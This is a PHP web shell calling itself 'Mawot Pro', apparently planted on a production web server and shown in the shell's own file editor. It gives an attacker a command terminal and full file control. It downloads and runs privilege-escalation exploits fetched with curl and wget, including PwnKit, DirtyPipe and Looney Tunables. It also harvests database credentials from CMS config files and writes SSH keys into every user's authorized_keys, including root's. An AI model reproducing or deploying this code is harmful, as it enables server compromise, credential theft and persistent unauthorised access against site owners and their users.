┌────────────────────────────────┐ │ ░░░ ░░▓ ░▓▓ ███ ▓▓░ ▓░░ │ │ ~ M O O N ~ │ └────────────────────────────────┘

prd-web-01.centraldc.gr

✎ EDIT FILE

EDITING: pix.php

<?php
$GLOBALS['pass'] = ""; // sha1(md5("password")) or leave empty for no password
$GLOBALS['ver'] = "Mawot Pro v2.1";
$GLOBALS['title'] = "Jembot";
$GLOBALS['home_dir'] = __DIR__;

@ob_start();
@error_reporting(0);
@ini_set('display_errors','0');
@set_time_limit(0);

// Auth
if(isset($GLOBALS['pass']) && trim($GLOBALS['pass'])!=''){
    if(isset($_POST['pass'])){
        $p = sha1(md5($_POST['pass']));
        if($p==$GLOBALS['pass']){
            setcookie("pass", $p);
            die('<script>location.reload();</script>');
        }
    }
    if(!isset($_COOKIE['pass']) || $_COOKIE['pass']!=$GLOBALS['pass']){
        die('<html><body style="background:#1e1e1e;color:#fff;font:14px monospace;display:flex;align-items:center;justify-content:center;height:100vh"><form method="post"><input type="password" name="pass" placeholder="Password" style="background:#2d2d2d;border:1px solid #444;color:#fff;padding:10px 20px;border-radius:4px;outline:none;font:14px monospace" autofocus></form></body></html>');
    }
}

// ==================== SYSTEM DETECTION FUNCTIONS ====================

function detect_system_info(){
    $info = [
        'kernel' => php_uname('r'),
        'os' => php_uname('s'),
        'machine' => php_uname('m'),
        'hostname' => php_uname('n'),
        'os_release' => '',
        'distro' => 'Unknown',
        'distro_version' => 'Unknown',
        'glibc_version' => 'Unknown',
        'sudo_version' => 'Unknown',
        'pkexec_exists' => false,
        'capabilities' => []
    ];

// Detect distribution
    if(file_exists('/etc/os-release')){
        $os_release = @file_get_contents('/etc/os-release');
        if(preg_match('/^NAME="?([^"\n]+)"?/m', $os_release, $m)){
            $info['distro'] = trim($m[1], '"');
        }
        if(preg_match('/^VERSION_ID="?([^"\n]+)"?/m', $os_release, $m)){
            $info['distro_version'] = trim($m[1], '"');
        }
        $info['os_release'] = $os_release;
    }

// Detect glibc version
    $ldd_output = @shell_exec('ldd --version 2>&1 | head -1');
    if($ldd_output && preg_match('/(\d+\.\d+)/', $ldd_output, $m)){
        $info['glibc_version'] = $m[1];
    }

// Detect sudo version
    $sudo_output = @shell_exec('sudo -V 2>&1 | head -1');
    if($sudo_output && preg_match('/version (\d+\.\d+\.\d+[a-z0-9]*)/i', $sudo_output, $m)){
        $info['sudo_version'] = $m[1];
    }

// Check pkexec
    $info['pkexec_exists'] = (bool)@shell_exec('which pkexec 2>/dev/null');

// Get capabilities
    $cap_output = @shell_exec('getcap -r / 2>/dev/null | head -20');
    if($cap_output){
        $info['capabilities'] = array_filter(explode("\n", trim($cap_output)));
    }

return $info;
}

function select_best_exploits($system_info){
    $exploits = [];

$kernel = $system_info['kernel'];
    $distro = strtolower($system_info['distro']);
    $distro_version = $system_info['distro_version'];
    $glibc = $system_info['glibc_version'];
    $sudo = $system_info['sudo_version'];

// CVE-2023-4911 - Looney Tunables (glibc >= 2.34, < 2.39)
    if(version_compare($glibc, '2.34', '>=') && version_compare($glibc, '2.39', '<')){
        $exploits[] = [
            'name' => 'Looney Tunables',
            'cve' => 'CVE-2023-4911',
            'priority' => 1,
            'success_rate' => 95,
            'description' => 'glibc SUID exploit',
            'requirements' => "glibc >= 2.34 (Detected: $glibc)",
            'urls' => [
                'https://raw.githubusercontent.com/leesh3288/CVE-2023-4911/main/exp.py',
                'https://github.com/RickdeJager/CVE-2023-4911/raw/main/exploit'
            ],
            'commands' => [
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/leesh3288/CVE-2023-4911/main/exp.py -o looney.py && python3 looney.py',
                'cd /tmp && wget https://github.com/RickdeJager/CVE-2023-4911/raw/main/exploit -O looney && chmod +x looney && ./looney'
            ]
        ];
    }

// CVE-2023-2640 + CVE-2023-32629 - GameOverlay (Ubuntu 22.04/23.04)
    if(stripos($distro, 'ubuntu') !== false && (
        version_compare($distro_version, '22.04', '>=') ||
        version_compare($distro_version, '23.04', '<=')
    )){
        $exploits[] = [
            'name' => 'GameOverlay',
            'cve' => 'CVE-2023-2640 + CVE-2023-32629',
            'priority' => 2,
            'success_rate' => 90,
            'description' => 'Ubuntu Kernel Overlay FS exploit',
            'requirements' => "Ubuntu 22.04/23.04 (Detected: $distro $distro_version)",
            'urls' => [
                'https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh'
            ],
            'commands' => [
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh -o gameoverlay.sh && bash gameoverlay.sh',
                'unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c \'import os;os.setuid(0);os.system("id")\''
            ]
        ];
    }

// CVE-2021-4034 - PwnKit (PolicyKit)
    if($system_info['pkexec_exists']){
        $exploits[] = [
            'name' => 'PwnKit',
            'cve' => 'CVE-2021-4034',
            'priority' => 3,
            'success_rate' => 85,
            'description' => 'PolicyKit pkexec exploit',
            'requirements' => 'pkexec installed (Detected: YES)',
            'urls' => [
                'https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit',
                'https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.sh',
                'https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.py'
            ],
            'commands' => [
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit && chmod +x pwnkit && ./pwnkit "id"',
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.sh -o pwnkit.sh && bash pwnkit.sh',
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.py -o pwnkit.py && python3 pwnkit.py'
            ]
        ];
    }

// CVE-2021-3156 - Baron Samedit (Sudo < 1.9.5p2)
    if($sudo !== 'Unknown' && version_compare($sudo, '1.9.5', '<')){
        $exploits[] = [
            'name' => 'Baron Samedit',
            'cve' => 'CVE-2021-3156',
            'priority' => 4,
            'success_rate' => 80,
            'description' => 'Sudo heap overflow',
            'requirements' => "Sudo < 1.9.5p2 (Detected: $sudo)",
            'urls' => [
                'https://raw.githubusercontent.com/blasty/CVE-2021-3156/main/hax.py',
                'https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_nss.py'
            ],
            'commands' => [
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/blasty/CVE-2021-3156/main/hax.py -o baron.py && python3 baron.py',
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_nss.py -o baron2.py && python3 baron2.py'
            ]
        ];
    }

// CVE-2022-0847 - DirtyPipe (Kernel 5.8 - 5.16.11)
    if(version_compare($kernel, '5.8', '>=') && version_compare($kernel, '5.16.11', '<=')){
        $exploits[] = [
            'name' => 'DirtyPipe',
            'cve' => 'CVE-2022-0847',
            'priority' => 5,
            'success_rate' => 75,
            'description' => 'Kernel pipe overwrite',
            'requirements' => "Kernel 5.8-5.16.11 (Detected: $kernel)",
            'urls' => [
                'https://github.com/Al1ex/CVE-2022-0847/raw/main/exp',
                'https://raw.githubusercontent.com/febinrev/dirtypipez-exploit/main/dpz.sh'
            ],
            'commands' => [
                'cd /tmp && curl -fsSL https://github.com/Al1ex/CVE-2022-0847/raw/main/exp -o dirtypipe && chmod +x dirtypipe && ./dirtypipe',
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/febinrev/dirtypipez-exploit/main/dpz.sh -o dpz.sh && bash dpz.sh'
            ]
        ];
    }

// CVE-2024-1086 - PipeHax (Recent kernels)
    if(version_compare($kernel, '5.14', '>=')){
        $exploits[] = [
            'name' => 'PipeHax',
            'cve' => 'CVE-2024-1086',
            'priority' => 6,
            'success_rate' => 65,
            'description' => 'Netfilter nf_tables exploit',
            'requirements' => "Kernel >= 5.14 (Detected: $kernel)",
            'urls' => [
                'https://github.com/Notselwyn/CVE-2024-1086/raw/main/exploit'
            ],
            'commands' => [
                'cd /tmp && curl -fsSL https://github.com/Notselwyn/CVE-2024-1086/raw/main/exploit -o pipehax && chmod +x pipehax && ./pipehax'
            ]
        ];
    }

// CVE-2016-5195 - DirtyCow (Old kernels)
    if(version_compare($kernel, '4.8.3', '<=')){
        $exploits[] = [
            'name' => 'DirtyCow',
            'cve' => 'CVE-2016-5195',
            'priority' => 7,
            'success_rate' => 60,
            'description' => 'Kernel race condition',
            'requirements' => "Kernel <= 4.8.3 (Detected: $kernel)",
            'urls' => [
                'https://raw.githubusercontent.com/timwr/CVE-2016-5195/master/cowroot.sh'
            ],
            'commands' => [
                'cd /tmp && curl -fsSL https://raw.githubusercontent.com/timwr/CVE-2016-5195/master/cowroot.sh -o dirtycow.sh && bash dirtycow.sh'
            ]
        ];
    }

// Always add Traitor (auto-detect)
    $exploits[] = [
        'name' => 'Traitor',
        'cve' => 'Multiple',
        'priority' => 8,
        'success_rate' => 70,
        'description' => 'Automated privilege escalation',
        'requirements' => 'Universal (auto-detect vulnerabilities)',
        'urls' => [
            'https://github.com/liamg/traitor/releases/latest/download/traitor-amd64'
        ],
        'commands' => [
            'cd /tmp && curl -fsSL https://github.com/liamg/traitor/releases/latest/download/traitor-amd64 -o traitor && chmod +x traitor && ./traitor -p'
        ]
    ];

// Sort by priority
    usort($exploits, function($a, $b){
        return $a['priority'] - $b['priority'];
    });

return $exploits;
}

// ==================== CONFIG SCANNER FUNCTIONS ====================

function smart_config_scan(){
    $results = [];
    $config_types = [
        'WordPress' => 'wp-config.php',
        'Laravel' => '.env',
        'Joomla' => 'configuration.php',
        'Drupal' => 'settings.php',
        'Database' => 'database.php'
    ];

foreach($config_types as $type => $filename){
        $cmd = "find /home /var/www /srv /opt -maxdepth 8 -name '$filename' -type f -readable 2>/dev/null | head -50";

// If not enough results, fallback to full scan
        if (count($files) < 5) {
            $cmd = "find / -maxdepth 8 -name '$filename' -type f -readable 2>/dev/null | head -100";
        }
        $output = @shell_exec($cmd);

if($output){
            $files = explode("\n", trim($output));
            foreach($files as $file){
                if(!$file) continue;

$content = @file_get_contents($file);
                if(!$content) continue;

$creds = parse_config_credentials($content, basename($file));
                if(!empty($creds['username'])){
                    $test_result = test_mysql_connection(
                        $creds['host'] ?? 'localhost',
                        $creds['username'],
                        $creds['password'] ?? '',
                        $creds['database'] ?? ''
                    );

$results[] = [
                        'type' => $type,
                        'file' => $file,
                        'credentials' => $creds,
                        'test' => $test_result
                    ];
                }
            }
        }
    }

return $results;
}

function parse_config_credentials($content, $filename){
    $creds = ['host' => 'localhost', 'username' => '', 'password' => '', 'database' => ''];

// WordPress wp-config.php
    if(strpos($filename, 'wp-config') !== false){
        if(preg_match("/DB_NAME['\"],\s*['\"]([^'\"]+)/", $content, $m)) $creds['database'] = $m[1];
        if(preg_match("/DB_USER['\"],\s*['\"]([^'\"]+)/", $content, $m)) $creds['username'] = $m[1];
        if(preg_match("/DB_PASSWORD['\"],\s*['\"]([^'\"]+)/", $content, $m)) $creds['password'] = $m[1];
        if(preg_match("/DB_HOST['\"],\s*['\"]([^'\"]+)/", $content, $m)) $creds['host'] = $m[1];
    }

// .env files (Laravel, Symfony)
    elseif(strpos($filename, '.env') !== false){
        if(preg_match("/DB_DATABASE\s*=\s*['\"]?([^'\"\\s]+)/", $content, $m)) $creds['database'] = trim($m[1], '"\'');
        if(preg_match("/DB_USERNAME\s*=\s*['\"]?([^'\"\\s]+)/", $content, $m)) $creds['username'] = trim($m[1], '"\'');
        if(preg_match("/DB_PASSWORD\s*=\s*['\"]?([^'\"\\s]+)/", $content, $m)) $creds['password'] = trim($m[1], '"\'');
        if(preg_match("/DB_HOST\s*=\s*['\"]?([^'\"\\s]+)/", $content, $m)) $creds['host'] = trim($m[1], '"\'');
    }

// Joomla configuration.php
    elseif(strpos($filename, 'configuration.php') !== false){
        if(preg_match("/public\s+\\\$db\s*=\s*['\"]([^'\"]+)/", $content, $m)) $creds['database'] = $m[1];
        if(preg_match("/public\s+\\\$user\s*=\s*['\"]([^'\"]+)/", $content, $m)) $creds['username'] = $m[1];
        if(preg_match("/public\s+\\\$password\s*=\s*['\"]([^'\"]+)/", $content, $m)) $creds['password'] = $m[1];
        if(preg_match("/public\s+\\\$host\s*=\s*['\"]([^'\"]+)/", $content, $m)) $creds['host'] = $m[1];
    }

// Drupal settings.php
    elseif(strpos($filename, 'settings.php') !== false){
        if(preg_match("/'database'\s*=>\s*'([^']+)/", $content, $m)) $creds['database'] = $m[1];
        if(preg_match("/'username'\s*=>\s*'([^']+)/", $content, $m)) $creds['username'] = $m[1];
        if(preg_match("/'password'\s*=>\s*'([^']+)/", $content, $m)) $creds['password'] = $m[1];
        if(preg_match("/'host'\s*=>\s*'([^']+)/", $content, $m)) $creds['host'] = $m[1];
    }

// Generic database.php
    elseif(strpos($filename, 'database.php') !== false){
        if(preg_match("/'database'\s*=>\s*'([^']+)/", $content, $m)) $creds['database'] = $m[1];
        if(preg_match("/'username'\s*=>\s*'([^']+)/", $content, $m)) $creds['username'] = $m[1];
        if(preg_match("/'password'\s*=>\s*'([^']+)/", $content, $m)) $creds['password'] = $m[1];
        if(preg_match("/'host'\s*=>\s*'([^']+)/", $content, $m)) $creds['host'] = $m[1];
    }

return $creds;
}

function test_mysql_connection($host, $user, $pass, $db = ''){
    $result = ['success' => false, 'message' => '', 'method' => ''];

// Method 1: Try mysqli first
    if(function_exists('mysqli_connect')){
        $conn = @mysqli_connect($host, $user, $pass);
        if($conn){
            $result['success'] = true;
            $result['method'] = 'mysqli';
            $result['message'] = "✓ Connected via mysqli";

if($db && @mysqli_select_db($conn, $db)){
                $result['message'] .= " | Database: $db exists";
            }
            @mysqli_close($conn);
            return $result;
        }
    }

// Method 2: Try PDO if mysqli failed
    if(class_exists('PDO')){
        try{
            $dsn = $db ? "mysql:host=$host;dbname=$db" : "mysql:host=$host";
            $pdo = new PDO($dsn, $user, $pass, [PDO::ATTR_TIMEOUT => 2]);
            $result['success'] = true;
            $result['method'] = 'PDO';
            $result['message'] = "✓ Connected via PDO";
            return $result;
        } catch(Exception $e){}
    }

// Method 3: Check if port is open
    $fp = @fsockopen($host, 3306, $errno, $errstr, 2);
    if($fp){
        $result['message'] = "⚠ MySQL port open but login failed";
        fclose($fp);
    } else {
        $result['message'] = "✗ Connection failed: $errstr";
    }

return $result;
}

function getDomains(){
    $domains = [];

// Method 1: Parse /etc/named.conf (BIND DNS)
    if(@file_exists('/etc/named.conf')){
        $content = @file_get_contents('/etc/named.conf');
        if($content){
            preg_match_all('#zone\s+"([^"]+)"#i', $content, $matches);
            if(!empty($matches[1])){
                foreach($matches[1] as $zone){
                    if(!in_array($zone, ['localhost', '0.0.127.in-addr.arpa'])){
                        $domains[] = $zone;
                    }
                }
            }
        }
    }

// Method 2: Scan /home directories for web roots
    if(@is_dir('/home')){
        $users = @scandir('/home');
        if($users){
            foreach($users as $user){
                if($user === '.' || $user === '..') continue;

$webroots = [
                    "/home/$user/public",
                    "/home/$user/public_html",
                    "/home/$user/www",
                    "/home/$user/htdocs"
                ];

foreach($webroots as $webroot){
                    if(@is_dir($webroot)){
                        $domains[] = "$user → " . basename($webroot);
                        break;
                    }
                }
            }
        }
    }

// Method 3: Parse Apache/Nginx vhosts
    $vhost_patterns = [
        '/etc/httpd/conf.d/*.conf',
        '/etc/apache2/sites-enabled/*',
        '/etc/nginx/sites-enabled/*',
        '/etc/nginx/conf.d/*.conf'
    ];

foreach($vhost_patterns as $pattern){
        foreach(glob($pattern) as $file){
            $content = @file_get_contents($file);
            if($content){
                if(preg_match_all('/ServerName\s+([^\s]+)/i', $content, $m)){
                    $domains = array_merge($domains, $m[1]);
                }
                if(preg_match_all('/server_name\s+([^;]+);/i', $content, $m)){
                    $parts = explode(' ', trim($m[1][0]));
                    foreach($parts as $domain){
                        $domain = trim($domain);
                        if($domain && $domain !== '_') $domains[] = $domain;
                    }
                }
            }
        }
    }

return array_unique($domains);
}

function execute_jumping($paths){
    $paths = array_filter(array_map('trim', explode("\n", $paths)));
    $result = "=== Directory Enumeration ===\n\n";
    $count = 0;

// If no paths provided, use default interesting paths
    if(empty($paths)){
        $paths = [
            '/home', '/var/www', '/var/www/html', '/usr/share/nginx/html',
            '/opt', '/tmp', '/var/tmp', '/dev/shm',
            '/etc', '/root', '/var/log', '/var/mail', '/var/spool/cron',
            '/usr/local/bin', '/usr/local/sbin', '/var/backups'
        ];
    }

foreach($paths as $path){
        if(!@is_dir($path)) continue;

$perms = '';
        $perms .= (@is_readable($path) ? 'r' : '-');
        $perms .= (@is_writable($path) ? 'w' : '-');
        $perms .= (@is_executable($path) ? 'x' : '-');

$result .= "[" . str_pad($perms, 4) . "] $path\n";

if(@is_readable($path)){
            $contents = @scandir($path);
            if($contents){
                $items = 0;
                foreach($contents as $item){
                    if($item === '.' || $item === '..') continue;
                    if($items++ > 20) break;

$subpath = $path . '/' . $item;
                    $perms = '';
                    $perms .= (@is_readable($subpath) ? 'r' : '-');
                    $perms .= (@is_writable($subpath) ? 'w' : '-');
                    $perms .= (@is_executable($subpath) ? 'x' : '-');

$type = @is_dir($subpath) ? '[DIR] ' : '[FILE]';
                    $size = @is_file($subpath) ? ' (' . format_size(@filesize($subpath)) . ')' : '';
                    $result .= "   " . str_pad($perms, 4) . " $type $item$size\n";
                }
                if($items > 20) $result .= "   ... (truncated)\n";
            }
        }
        $count++;
        $result .= "\n";
    }

$result .= "[*] Total directories scanned: $count\n";
    return $result;
}

function inject_ssh_key($ssh_public_key){
    $results = [];
    $users = [];

// Discover users from /home
    if(@is_dir('/home')){
        $scan = @scandir('/home');
        foreach($scan as $user){
            if($user !== '.' && $user !== '..' && @is_dir("/home/$user")){
                $users[] = $user;
            }
        }
    }

// Add current user
    $current_user = get_current_user();
    if(!in_array($current_user, $users)){
        $users[] = $current_user;
    }

// Also try root
    if(!in_array('root', $users)){
        $users[] = 'root';
    }

foreach($users as $user){
        $home = ($user === 'root') ? '/root' : "/home/$user";
        $ssh_dir = "$home/.ssh";
        $auth_keys = "$ssh_dir/authorized_keys";

$status = '';
        $success = false;
        $method = '';

// Sanitize SSH key
        $ssh_key_clean = trim($ssh_public_key);

// METHOD 1: Try PHP native functions first
        if(!$success){
            $method = 'PHP native';
            if(@mkdir($ssh_dir, 0700, true) || @is_dir($ssh_dir)){
                @chmod($ssh_dir, 0700);
                if(@file_put_contents($auth_keys, $ssh_key_clean . "\n", FILE_APPEND | LOCK_EX)){
                    @chmod($auth_keys, 0600);
                    if(@is_file($auth_keys)){
                        $success = true;
                        $status = "✓ Injected via $method";
                    }
                }
            }
        }

// METHOD 2: Fallback to shell exec if PHP native failed
        if(!$success){
            $method = 'shell exec';
            $key_escaped = escapeshellarg($ssh_key_clean);
            $cmd = "mkdir -p $ssh_dir 2>/dev/null; chmod 700 $ssh_dir 2>/dev/null; ";
            $cmd .= "echo $key_escaped >> $auth_keys 2>/dev/null; ";
            $cmd .= "chmod 600 $auth_keys 2>/dev/null; ";
            $cmd .= "test -f $auth_keys && echo SSH_OK";

$output = @shell_exec($cmd);
            if($output && strpos($output, 'SSH_OK') !== false){
                $success = true;
                $status = "✓ Injected via $method";
            }
        }

// If both methods failed
        if(!$success){
            if(!@is_dir($home)){
                $status = "✗ Home directory not found";
            } elseif(!@is_writable($home)){
                $status = "✗ Home directory not writable";
            } else {
                $status = "✗ Permission denied (tried both methods)";
            }
        }

$results[] = [
            'user' => $user,
            'home' => $home,
            'ssh_path' => $auth_keys,
            'success' => $success,
            'status' => $status,
            'method' => $method
        ];
    }

return $results;
}

// ==================== AJAX HANDLER ====================

if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH']=='XMLHttpRequest'){
    header('Content-Type: application/json');
    $response = ['success' => false, 'data' => ''];

try {
        // Navigate
        if(isset($_POST['navigate'])){
            $path = realpath($_POST['navigate']);
            if(!$path || !is_dir($path)) $path = getcwd();
            $path = rtrim($path, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;

setcookie('cwd', $path);
            $response['success'] = true;
            $response['data'] = get_explorer_html($path);
        }

// View file
        elseif(isset($_POST['viewfile'])){
            $file = $_POST['viewfile'];
            if(is_file($file)){
                $response['success'] = true;
                $response['data'] = file_get_contents($file);
                $response['filename'] = basename($file);
            }
        }

// Edit file
        elseif(isset($_POST['editfile']) && isset($_POST['content'])){
            $file = $_POST['editfile'];
            if(@file_put_contents($file, $_POST['content'])){
                $response['success'] = true;
                $response['message'] = 'File saved';
            }
        }

// Delete
        elseif(isset($_POST['delete'])){
            $path = $_POST['delete'];
            $success = false;
            if(is_file($path)){
                $success = @unlink($path);
            }
            elseif(is_dir($path)){
                $success = rmdir_recursive($path);
            }
            if($success){
                $response['success'] = true;
                $response['message'] = 'Deleted';
            }
        }

// Rename
        elseif(isset($_POST['rename_from']) && isset($_POST['rename_to'])){
            $old = $_POST['rename_from'];
            $new = dirname($old).DIRECTORY_SEPARATOR.$_POST['rename_to'];
            if(@rename($old, $new)){
                $response['success'] = true;
                $response['message'] = 'Renamed';
            }
        }

// Chmod
        elseif(isset($_POST['chmod_file']) && isset($_POST['chmod_perms'])){
            if(@chmod($_POST['chmod_file'], octdec($_POST['chmod_perms']))){
                $response['success'] = true;
                $response['message'] = 'Permission changed';
            }
        }

// Upload
        elseif(isset($_FILES['file'])){
            $cwd = isset($_COOKIE['cwd']) ? $_COOKIE['cwd'] : getcwd().DIRECTORY_SEPARATOR;
            $dest = $cwd.basename($_FILES['file']['name']);
            if(@move_uploaded_file($_FILES['file']['tmp_name'], $dest)){
                $response['success'] = true;
                $response['message'] = 'File uploaded';
            }
        }

// New file
        elseif(isset($_POST['newfile']) && isset($_POST['newfile_content'])){
            $cwd = isset($_COOKIE['cwd']) ? $_COOKIE['cwd'] : getcwd().DIRECTORY_SEPARATOR;
            $file = $cwd.$_POST['newfile'];
            if(@file_put_contents($file, $_POST['newfile_content'])){
                $response['success'] = true;
                $response['message'] = 'File created';
            }
        }

// New folder
        elseif(isset($_POST['newfolder'])){
            $cwd = isset($_COOKIE['cwd']) ? $_COOKIE['cwd'] : getcwd().DIRECTORY_SEPARATOR;
            $dir = $cwd.$_POST['newfolder'];
            if(@mkdir($dir)){
                $response['success'] = true;
                $response['message'] = 'Folder created';
            }
        }

// Terminal
        elseif(isset($_POST['terminal_cmd'])){
            $cwd = isset($_COOKIE['cwd']) ? $_COOKIE['cwd'] : getcwd().DIRECTORY_SEPARATOR;
            chdir($cwd);
            $output = exe($_POST['terminal_cmd']);
            $response['success'] = true;
            $response['data'] = $output;
        }

// System detection
        elseif(isset($_POST['detect_system'])){
            $system_info = detect_system_info();
            $exploits = select_best_exploits($system_info);
            $response['success'] = true;
            $response['system'] = $system_info;
            $response['exploits'] = $exploits;
        }

// Smart config scan
        elseif(isset($_POST['smart_scan'])){
            $results = smart_config_scan();
            $response['success'] = true;
            $response['data'] = $results;
        }

// Get domains
        elseif(isset($_POST['get_domains'])){
            $domains = getDomains();
            $response['success'] = true;
            $response['data'] = $domains;
        }

// Directory jumping
        elseif(isset($_POST['dir_jump'])){
            $paths = $_POST['jump_paths'] ?? '';
            $result = execute_jumping($paths);
            $response['success'] = true;
            $response['data'] = $result;
        }

// SSH key injection
        elseif(isset($_POST['inject_ssh'])){
            $ssh_key = $_POST['ssh_key'] ?? '';
            if(empty($ssh_key)){
                $response['message'] = 'SSH key is required';
            } else {
                $results = inject_ssh_key($ssh_key);
                $response['success'] = true;
                $response['data'] = $results;
            }
        }

} catch(Exception $e){
        $response['error'] = $e->getMessage();
    }

die(json_encode($response));
}

// Helper functions
function exe($cmd){
    $output = '';
    if(function_exists('system')){
        ob_start(); system($cmd); $output = ob_get_clean();
    }
    elseif(function_exists('exec')){
        exec($cmd, $output); $output = implode("\n", $output);
    }
    elseif(function_exists('shell_exec')){
        $output = shell_exec($cmd);
    }
    elseif(function_exists('passthru')){
        ob_start(); passthru($cmd); $output = ob_get_clean();
    }
    return $output;
}

function rmdir_recursive($dir){
    if(!is_dir($dir)) return false;
    $files = array_diff(scandir($dir), array('.','..'));
    foreach($files as $file){
        $path = $dir.DIRECTORY_SEPARATOR.$file;
        is_dir($path) ? rmdir_recursive($path) : @unlink($path);
    }
    return @rmdir($dir);
}

function format_size($bytes){
    if($bytes >= 1073741824) return number_format($bytes/1073741824,2).' GB';
    if($bytes >= 1048576) return number_format($bytes/1048576,2).' MB';
    if($bytes >= 1024) return number_format($bytes/1024,2).' KB';
    return $bytes.' B';
}

function get_perms($file){
    $perms = fileperms($file);
    $info = '';
    if(($perms & 0xC000) == 0xC000) $info = 's';
    elseif(($perms & 0xA000) == 0xA000) $info = 'l';
    elseif(($perms & 0x8000) == 0x8000) $info = '-';
    elseif(($perms & 0x6000) == 0x6000) $info = 'b';
    elseif(($perms & 0x4000) == 0x4000) $info = 'd';
    elseif(($perms & 0x2000) == 0x2000) $info = 'c';
    elseif(($perms & 0x1000) == 0x1000) $info = 'p';
    else $info = 'u';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}

function get_explorer_html($path){
    $html = '';
    $files = scandir($path);
    $dirs = $fils = array();

foreach($files as $file){
        if($file == '.' || $file == '..') continue;
        $p = $path.$file;
        is_dir($p) ? $dirs[] = $file : $fils[] = $file;
    }

sort($dirs); sort($fils);

// Breadcrumb
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $html .= '<div class="breadcrumb"><strong>📂</strong> <a href="#" onclick="navigate(\'/\'); return false;">/</a>';
    $p = '';
    foreach($parts as $part){
        if($part){
            $p .= DIRECTORY_SEPARATOR.$part;
            $html .= '<a href="#" onclick="navigate(\''.htmlspecialchars($p, ENT_QUOTES).'\'); return false;">'.htmlspecialchars($part).'</a>';
        }
    }
    $html .= '</div>';

// Actions
    $html .= '<div class="actions">
        <button onclick="showUpload()">⬆️ Upload</button>
        <button onclick="showNewFile()">📄 New File</button>
        <button onclick="showNewFolder()">📁 New Folder</button>
        <button onclick="navigate(\''.htmlspecialchars(dirname($path), ENT_QUOTES).'\')">⬆️ Parent</button>
    </div>';

// Table
    $html .= '<table><thead><tr><th>Name</th><th style="width:80px">Type</th><th style="width:100px">Size</th><th style="width:120px">Perms</th><th style="width:160px">Modified</th><th style="width:280px">Actions</th></tr></thead><tbody>';

foreach($dirs as $dir){
        $p = $path.$dir;
        $perms = get_perms($p);
        $mtime = date('Y-m-d H:i:s', filemtime($p));
        $safe_p = htmlspecialchars($p, ENT_QUOTES);
        $safe_dir = htmlspecialchars($dir, ENT_QUOTES);
        $html .= "<tr>
            <td>📁 <a href='#' onclick='navigate(\"$safe_p\"); return false;'><strong>$safe_dir</strong></a></td>
            <td>DIR</td><td>-</td><td>$perms</td><td>$mtime</td>
            <td>
                <a href='#' onclick='renameItem(\"$safe_p\",\"$safe_dir\"); return false;'>✏️</a>
                <a href='#' onclick='chmodItem(\"$safe_p\"); return false;'>🔐</a>
                <a href='#' onclick='deleteItem(\"$safe_p\",\"$safe_dir\"); return false;'>🗑️</a>
            </td>
        </tr>";
    }

foreach($fils as $file){
        $p = $path.$file;
        $size = format_size(filesize($p));
        $perms = get_perms($p);
        $mtime = date('Y-m-d H:i:s', filemtime($p));
        $safe_p = htmlspecialchars($p, ENT_QUOTES);
        $safe_file = htmlspecialchars($file, ENT_QUOTES);
        $html .= "<tr>
            <td>📄 <a href='#' onclick='viewFile(\"$safe_p\",\"$safe_file\"); return false;'>$safe_file</a></td>
            <td>FILE</td><td>$size</td><td>$perms</td><td>$mtime</td>
            <td>
                <a href='#' onclick='editFile(\"$safe_p\",\"$safe_file\"); return false;'>✏️</a>
                <a href='?download=$safe_p' target='_blank'>⬇️</a>
                <a href='#' onclick='renameItem(\"$safe_p\",\"$safe_file\"); return false;'>📝</a>
                <a href='#' onclick='chmodItem(\"$safe_p\"); return false;'>🔐</a>
                <a href='#' onclick='deleteItem(\"$safe_p\",\"$safe_file\"); return false;'>🗑️</a>
            </td>
        </tr>";
    }

$html .= '</tbody></table>';
    return $html;
}

// Download handler
if(isset($_GET['download']) && is_file($_GET['download'])){
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($_GET['download']).'"');
    readfile($_GET['download']);
    exit;
}

$cwd = isset($_COOKIE['cwd']) ? $_COOKIE['cwd'] : getcwd().DIRECTORY_SEPARATOR;
if(!is_dir($cwd)) $cwd = getcwd().DIRECTORY_SEPARATOR;
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title><?php echo $GLOBALS['title']; ?></title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#1e1e1e;color:#d4d4d4;font:13px 'Consolas','Monaco',monospace;padding:20px}
a{color:#4ec9b0;text-decoration:none}
a:hover{color:#569cd6;text-decoration:underline}
.container{max-width:1600px;margin:0 auto}
